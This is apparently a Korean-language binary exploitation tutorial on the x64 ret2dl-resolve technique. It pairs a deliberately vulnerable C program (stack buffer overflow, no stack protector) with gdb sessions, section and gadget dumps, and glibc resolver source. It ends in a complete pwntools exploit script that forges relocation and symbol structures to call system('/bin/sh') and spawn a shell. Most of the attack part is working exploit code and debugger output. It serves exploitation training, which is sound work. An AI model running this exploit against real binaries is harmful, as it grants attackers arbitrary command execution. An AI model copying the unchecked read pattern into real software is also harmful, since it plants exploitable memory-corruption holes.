Excuse the ads! We need some help to keep our site up.
typedef uint64_t Elf64_Addr; typedef uint64_t Elf64_Xword; typedef int64_t Elf64_Sxword; typedef struct { Elf64_Addr r_offset; /* Address */ Elf64_Xword r_info; /* Relocation type and symbol index */ Elf64_Sxword r_addend; /* Addend */ } Elf64_Rela; |
typedef uint32_t Elf64_Word; typedef uint16_t Elf64_Section; typedef uint64_t Elf64_Addr; typedef uint64_t Elf64_Xword; typedef struct { Elf64_Word st_name; /* Symbol name (string tbl index) */4 unsigned char st_info; /* Symbol type and binding */1 unsigned char st_other; /* Symbol visibility */1 Elf64_Section st_shndx; /* Section index */2 Elf64_Addr st_value; /* Symbol value */8 Elf64_Xword st_size; /* Symbol size */8 } Elf64_Sym; |
//gcc -fno-stack-protector -o rop rop.c #define _GNU_SOURCE #include <stdio.h> #include <unistd.h> #include <dlfcn.h> void vuln(){ char buf[50]; read(0, buf, 512); } void main(){ write(1,"Hello ROP\n",10); vuln(); } |
0x400566 : vuln 함수 코드 첫부분
0x40057f : read() 함수 호출 전
lazenca0x0@ubuntu:~/Exploit/dl-resolve/x64$ gdb -q ./rop Reading symbols from ./rop...(no debugging symbols found)...done. gdb-peda$ disassemble vuln Dump of assembler code for function vuln: 0x0000000000400566 <+0>: push rbp 0x0000000000400567 <+1>: mov rbp,rsp 0x000000000040056a <+4>: sub rsp,0x40 0x000000000040056e <+8>: lea rax,[rbp-0x40] 0x0000000000400572 <+12>: mov edx,0x200 0x0000000000400577 <+17>: mov rsi,rax 0x000000000040057a <+20>: mov edi,0x0 0x000000000040057f <+25>: call 0x400440 <read@plt> 0x0000000000400584 <+30>: nop 0x0000000000400585 <+31>: leave 0x0000000000400586 <+32>: ret End of assembler dump. gdb-peda$ b *0x0000000000400566 Breakpoint 1 at 0x400566 gdb-peda$ b *0x000000000040057f Breakpoint 2 at 0x40057f gdb-peda$ |
Return address(0x7fffffffe488) - buf 변수의 시작 주소 (0x7fffffffe440) = 72
gdb-peda$ r Starting program: /home/lazenca0x0/Exploit/dl-resolve/x64/rop Hello ROP Breakpoint 1, 0x0000000000400566 in vuln () gdb-peda$ i r rsp rsp 0x7fffffffe488 0x7fffffffe488 gdb-peda$ c Continuing. Breakpoint 2, 0x000000000040057f in vuln () gdb-peda$ i r rsi rsi 0x7fffffffe440 0x7fffffffe440 gdb-peda$ p/d 0x7fffffffe488 - 0x7fffffffe440 $1 = 72 gdb-peda$ |
|
#Stage1 #write(1,addr_got+8,8) #read(0,base_stage,400) #JMP base_stage + 8 #Stage2 #read(0,addr_dt_versym,8) #Setting argument values of system() function #_dl_runtime_resolve(struct link_map *l, fake_reloc_offset) |
|
lazenca0x0@ubuntu:~/Exploit/dl-resolve/x64$ readelf -S ./rop There are 31 section headers, starting at offset 0x1a28: Section Headers: [Nr] Name Type Address Offset Size EntSize Flags Link Info Align [ 0] NULL 0000000000000000 00000000 0000000000000000 0000000000000000 0 0 0 [ 1] .interp PROGBITS 0000000000400238 00000238 000000000000001c 0000000000000000 A 0 0 1 [ 2] .note.ABI-tag NOTE 0000000000400254 00000254 0000000000000020 0000000000000000 A 0 0 4 [ 3] .note.gnu.build-i NOTE 0000000000400274 00000274 0000000000000024 0000000000000000 A 0 0 4 [ 4] .gnu.hash GNU_HASH 0000000000400298 00000298 000000000000001c 0000000000000000 A 5 0 8 [ 5] .dynsym DYNSYM 00000000004002b8 000002b8 0000000000000078 0000000000000018 A 6 1 8 [ 6] .dynstr STRTAB 0000000000400330 00000330 0000000000000043 0000000000000000 A 0 0 1 [ 7] .gnu.version VERSYM 0000000000400374 00000374 000000000000000a 0000000000000002 A 5 0 2 [ 8] .gnu.version_r VERNEED 0000000000400380 00000380 0000000000000020 0000000000000000 A 6 1 8 [ 9] .rela.dyn RELA 00000000004003a0 000003a0 0000000000000018 0000000000000018 A 5 0 8 [10] .rela.plt RELA 00000000004003b8 000003b8 0000000000000048 0000000000000018 AI 5 24 8 [11] .init PROGBITS 0000000000400400 00000400 000000000000001a 0000000000000000 AX 0 0 4 [12] .plt PROGBITS 0000000000400420 00000420 0000000000000040 0000000000000010 AX 0 0 16 [13] .plt.got PROGBITS 0000000000400460 00000460 0000000000000008 0000000000000000 AX 0 0 8 [14] .text PROGBITS 0000000000400470 00000470 00000000000001b2 0000000000000000 AX 0 0 16 [15] .fini PROGBITS 0000000000400624 00000624 0000000000000009 0000000000000000 AX 0 0 4 [16] .rodata PROGBITS 0000000000400630 00000630 000000000000000f 0000000000000000 A 0 0 4 [17] .eh_frame_hdr PROGBITS 0000000000400640 00000640 000000000000003c 0000000000000000 A 0 0 4 [18] .eh_frame PROGBITS 0000000000400680 00000680 0000000000000114 0000000000000000 A 0 0 8 [19] .init_array INIT_ARRAY 0000000000600e10 00000e10 0000000000000008 0000000000000000 WA 0 0 8 [20] .fini_array FINI_ARRAY 0000000000600e18 00000e18 0000000000000008 0000000000000000 WA 0 0 8 [21] .jcr PROGBITS 0000000000600e20 00000e20 0000000000000008 0000000000000000 WA 0 0 8 [22] .dynamic DYNAMIC 0000000000600e28 00000e28 00000000000001d0 0000000000000010 WA 6 0 8 [23] .got PROGBITS 0000000000600ff8 00000ff8 0000000000000008 0000000000000008 WA 0 0 8 [24] .got.plt PROGBITS 0000000000601000 00001000 0000000000000030 0000000000000008 WA 0 0 8 [25] .data PROGBITS 0000000000601030 00001030 0000000000000010 0000000000000000 WA 0 0 8 [26] .bss NOBITS 0000000000601040 00001040 0000000000000008 0000000000000000 WA 0 0 1 [27] .comment PROGBITS 0000000000000000 00001040 0000000000000035 0000000000000001 MS 0 0 1 [28] .shstrtab STRTAB 0000000000000000 0000191a 000000000000010c 0000000000000000 0 0 1 [29] .symtab SYMTAB 0000000000000000 00001078 0000000000000678 0000000000000018 30 47 8 [30] .strtab STRTAB 0000000000000000 000016f0 000000000000022a 0000000000000000 0 0 1 Key to Flags: W (write), A (alloc), X (execute), M (merge), S (strings), l (large) I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown) O (extra OS processing required) o (OS specific), p (processor specific) lazenca0x0@ubuntu:~/Exploit/dl-resolve/x64$ |
from pwn import * from struct import * #context.log_level = 'debug' elf = ELF('./rop') # get section address addr_dynsym = elf.get_section_by_name('.dynsym').header['sh_addr'] addr_dynstr = elf.get_section_by_name('.dynstr').header['sh_addr'] addr_relaplt = elf.get_section_by_name('.rela.plt').header['sh_addr'] addr_plt = elf.get_section_by_name('.plt').header['sh_addr'] addr_got = elf.get_section_by_name('.got.plt').header['sh_addr'] addr_bss = elf.get_section_by_name('.bss').header['sh_addr'] addr_got_read = elf.got['read'] addr_got_write = elf.got['write'] log.info('Section Headers') log.info('.dynsym : ' + hex(addr_dynsym)) log.info('.dynstr : ' + hex(addr_dynstr)) log.info('.rela.plt : ' + hex(addr_relaplt)) log.info('.plt : ' + hex(addr_plt)) log.info('.got : ' + hex(addr_got)) log.info('.bss : ' + hex(addr_bss)) log.info('read@got : ' + hex(addr_got_read)) log.info('write@got : ' + hex(addr_got_write)) |
해당 바이너리에서는 "POP RSI", "POP RDI" Gadget을 찾을수 있지만, "POP RDX" Gadget을 찾을 수 없습니다.
lazenca0x0@ubuntu:~/Exploit/dl-resolve/x64$ ./rp-lin-x64 -f ./rop -r 3|grep "pop rsi" 0x00400611: pop rsi ; pop r15 ; ret ; (1 found) lazenca0x0@ubuntu:~/Exploit/dl-resolve/x64$ ./rp-lin-x64 -f ./rop -r 3|grep "pop rdi" 0x00400613: pop rdi ; ret ; (1 found) lazenca0x0@ubuntu:~/Exploit/dl-resolve/x64$ ./rp-lin-x64 -f ./rop -r 3|grep "pop rdx" lazenca0x0@ubuntu:~/Exploit/dl-resolve/x64$ ./rp-lin-x64 -f ./rop -r 10|grep "pop rdx" lazenca0x0@ubuntu:~/Exploit/dl-resolve/x64$ |
lazenca0x0@ubuntu:~/Exploit/dl-resolve/x64$ objdump -M intel -d ./rop ./rop: file format elf64-x86-64 Disassembly of section .init: ... Disassembly of section .plt: ... Disassembly of section .text: ... 00000000004005b0 <__libc_csu_init>: 4005b0: 41 57 push r15 4005b2: 41 56 push r14 4005b4: 41 89 ff mov r15d,edi 4005b7: 41 55 push r13 4005b9: 41 54 push r12 4005bb: 4c 8d 25 4e 08 20 00 lea r12,[rip+0x20084e] # 600e10 <__frame_dummy_init_array_entry> 4005c2: 55 push rbp 4005c3: 48 8d 2d 4e 08 20 00 lea rbp,[rip+0x20084e] # 600e18 <__init_array_end> 4005ca: 53 push rbx 4005cb: 49 89 f6 mov r14,rsi 4005ce: 49 89 d5 mov r13,rdx 4005d1: 4c 29 e5 sub rbp,r12 4005d4: 48 83 ec 08 sub rsp,0x8 4005d8: 48 c1 fd 03 sar rbp,0x3 4005dc: e8 1f fe ff ff call 400400 <_init> 4005e1: 48 85 ed test rbp,rbp 4005e4: 74 20 je 400606 <__libc_csu_init+0x56> 4005e6: 31 db xor ebx,ebx 4005e8: 0f 1f 84 00 00 00 00 nop DWORD PTR [rax+rax*1+0x0] 4005ef: 00 4005f0: 4c 89 ea mov rdx,r13 4005f3: 4c 89 f6 mov rsi,r14 4005f6: 44 89 ff mov edi,r15d 4005f9: 41 ff 14 dc call QWORD PTR [r12+rbx*8] 4005fd: 48 83 c3 01 add rbx,0x1 400601: 48 39 eb cmp rbx,rbp 400604: 75 ea jne 4005f0 <__libc_csu_init+0x40> 400606: 48 83 c4 08 add rsp,0x8 40060a: 5b pop rbx 40060b: 5d pop rbp 40060c: 41 5c pop r12 40060e: 41 5d pop r13 400610: 41 5e pop r14 400612: 41 5f pop r15 400614: c3 ret 400615: 90 nop 400616: 66 2e 0f 1f 84 00 00 nop WORD PTR cs:[rax+rax*1+0x0] 40061d: 00 00 00 0000000000400620 <__libc_csu_fini>: 400620: f3 c3 repz ret Disassembly of section .fini: 0000000000400624 <_fini>: 400624: 48 83 ec 08 sub rsp,0x8 400628: 48 83 c4 08 add rsp,0x8 40062c: c3 ret lazenca0x0@ubuntu:~/Exploit/dl-resolve/x64$ |
addr_reloc 영역은 다음과 같이 계산됩니다.
구조체의 정확한 시작 위치를 설정하기 위해 재정렬을 진행합니다.
Elf64_Rel 구조체는 ".rela.plt" 영역에서 24byte씩 값을 증가시켜 위치를 찾습니다.
구조체의 정확한 시작 위치를 설정하기 위해 재정렬을 진행합니다.
Elf64_Rel 구조체는 ".dynsym" 영역에서 24byte씩 값을 증가시켜 위치를 찾습니다.
addr_fake_symstr 영역은 addr_fake_sym 에서 Elf64_Sym 구조체 크기(24)를 더한 곳에 위치 합니다.
addr_fake_cmd 영역은 addr_fake_symstr 에서 문자열 "system\x00"(7)을 더한 곳에 위치 합니다.
(addr_reloc - addr_relaplt) / 24
fake_r_info 값은 다음과 같이 생성합니다.
stacksize = 0x400 base_stage = addr_bss + stacksize ... addr_reloc = base_stage + 8*26 align_reloc = 24 - ((addr_reloc - addr_relaplt) % 24) addr_reloc += align_reloc align_dynsym = 24 - (( addr_reloc + 24 - addr_dynsym) % 24) addr_fake_sym = addr_reloc + 24 addr_fake_sym += align_dynsym addr_fake_symstr = addr_fake_sym + 24 addr_fake_cmd = addr_fake_symstr + 7 fake_reloc_offset = (addr_reloc - addr_relaplt) / 24 fake_r_info = (((addr_fake_sym - addr_dynsym) / 24) << 32) #FAKE ELF32_R_SYM fake_r_info = fake_r_info | 0x7 #FAKE ELF32_R_TYPE fake_st_name = addr_fake_symstr - addr_dynstr |
lazenca0x0@ubuntu:~/Exploit/dl-resolve/x64$ gdb -q ./rop core Reading symbols from ./rop...(no debugging symbols found)...done. [New LWP 94008] Core was generated by `/home/lazenca0x0/Exploit/dl-resolve/x64/rop'. Program terminated with signal SIGSEGV, Segmentation fault. #0 _dl_fixup (l=0x7f4f9fbb5168, reloc_arg=<optimized out>) at ../elf/dl-runtime.c:92 92 ../elf/dl-runtime.c: No such file or directory. gdb-peda$ bt #0 _dl_fixup (l=0x7f4f9fbb5168, reloc_arg=<optimized out>) at ../elf/dl-runtime.c:92 #1 0x00007f4f9f9a5923 in _dl_runtime_resolve_avx () at ../sysdeps/x86_64/dl-trampoline.h:112 #2 0x0000000000000000 in ?? () gdb-peda$ x/2i $rip => 0x7f4f9f99da65 <_dl_fixup+117>: movzx eax,WORD PTR [rax+rdx*2] 0x7f4f9f99da69 <_dl_fixup+121>: and eax,0x7fff gdb-peda$ i r rax rax 0x400374 0x400374 gdb-peda$ i r rdx rdx 0x1561b 0x1561b gdb-peda$ |
const struct r_found_version *version = NULL; if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL) { const ElfW(Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]); ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff; version = &l->l_versions[ndx]; if (version->hash == 0) version = NULL; } |
from pwn import * from struct import * #context.log_level = 'debug' elf = ELF('./rop') # get section address addr_dynsym = elf.get_section_by_name('.dynsym').header['sh_addr'] addr_dynstr = elf.get_section_by_name('.dynstr').header['sh_addr'] addr_relaplt = elf.get_section_by_name('.rela.plt').header['sh_addr'] addr_plt = elf.get_section_by_name('.plt').header['sh_addr'] addr_got = elf.get_section_by_name('.got.plt').header['sh_addr'] addr_bss = elf.get_section_by_name('.bss').header['sh_addr'] addr_got_read = elf.got['read'] addr_got_write = elf.got['write'] log.info('Section Headers') log.info('.dynsym : ' + hex(addr_dynsym)) log.info('.dynstr : ' + hex(addr_dynstr)) log.info('.rela.plt : ' + hex(addr_relaplt)) log.info('.plt : ' + hex(addr_plt)) log.info('.got : ' + hex(addr_got)) log.info('.bss : ' + hex(addr_bss)) log.info('read@got : ' + hex(addr_got_read)) log.info('write@got : ' + hex(addr_got_write)) addr_csu_init1 = 0x40060a # addr_csu_init2 = 0x4005f0 # addr_leave_ret = 0x00400585 # leave; ret addr_ret = 0x00400419 # ret stacksize = 0x400 base_stage = addr_bss + stacksize #write(1,addr_got+8,8) buf1 = 'A' * 72 buf1 += p64(addr_csu_init1) buf1 += p64(0) buf1 += p64(1) buf1 += p64(addr_got_write) buf1 += p64(8) buf1 += p64(addr_got+8) buf1 += p64(1) buf1 += p64(addr_csu_init2) #read(0,base_stage,400) buf1 += 'AAAAAAAA' buf1 += p64(0) buf1 += p64(1) buf1 += p64(addr_got_read) buf1 += p64(400) buf1 += p64(base_stage) buf1 += p64(0) buf1 += p64(addr_csu_init2) #JMP base_stage + 8 buf1 += 'AAAAAAAA' buf1 += 'AAAAAAAA' buf1 += p64(base_stage) # rbp buf1 += 'AAAAAAAA' buf1 += 'AAAAAAAA' buf1 += 'AAAAAAAA' buf1 += 'AAAAAAAA' buf1 += p64(addr_leave_ret) binary = ELF('./rop') p = process(binary.path) p.recvn(10) #sleep(20) p.send(buf1) #Get address of addr_dt_versym addr_link_map = u64(p.read(8)) addr_dt_versym = addr_link_map + 0x1c8 addr_reloc = base_stage + 8*26 align_reloc = 24 - ((addr_reloc - addr_relaplt) % 24) addr_reloc += align_reloc align_dynsym = 24 - (( addr_reloc + 24 - addr_dynsym) % 24) addr_fake_sym = addr_reloc + 24 addr_fake_sym += align_dynsym addr_fake_symstr = addr_fake_sym + 24 addr_fake_cmd = addr_fake_symstr + 7 fake_reloc_offset = (addr_reloc - addr_relaplt) / 24 fake_r_info = (((addr_fake_sym - addr_dynsym) / 24) << 32) #FAKE ELF32_R_SYM fake_r_info = fake_r_info | 0x7 #FAKE ELF32_R_TYPE fake_st_name = addr_fake_symstr - addr_dynstr log.info('') log.info('Fake Struct Information') log.info('addr_csu_init1 :'+ hex(addr_csu_init1)) log.info('addr_got_read :'+ hex(addr_got_read)) log.info('addr_dt_versym :'+ hex(addr_dt_versym)) log.info('addr_csu_init2 :'+ hex(addr_csu_init2)) log.info('addr_ret :'+ hex(addr_ret)) log.info('base_stage + 8*9 :'+ hex(base_stage + 8*9)) log.info('addr_fake_cmd :'+hex(addr_fake_cmd)) #read(0,addr_dt_versym,8) buf2 = 'AAAAAAAA' buf2 += p64(addr_csu_init1) buf2 += p64(0) buf2 += p64(1) buf2 += p64(addr_got_read) buf2 += p64(8) buf2 += p64(addr_dt_versym) buf2 += p64(0) buf2 += p64(addr_csu_init2) #Setting argument values of system() function buf2 += p64(addr_ret) buf2 += p64(0) buf2 += p64(1) buf2 += p64(base_stage + 8*9) #address of addr_csu_init2 buf2 += 'B' * 8 buf2 += 'B' * 8 buf2 += p64(addr_fake_cmd) #"/bin/sh" buf2 += p64(addr_csu_init2) buf2 += 'C' * 0x38 #_dl_runtime_resolve(struct link_map *l, fake_reloc_offset) buf2 += p64(addr_plt) buf2 += p64(fake_reloc_offset) buf2 += 'A' * align_reloc # Elf64_Rela buf2 += p64(addr_got_read) buf2 += p64(fake_r_info) buf2 += p64(0) buf2 += 'A' * align_dynsym # Elf64_Sym buf2 += p32(fake_st_name) buf2 += p32(0x12) buf2 += p64(0) buf2 += p64(0) #String "system" buf2 += 'system\x00' #String "/bin/sh" buf2 += '/bin/sh\x00' #sleep(10) p.send(buf2) #sleep(10) p.send(p64(0)) p.interactive() |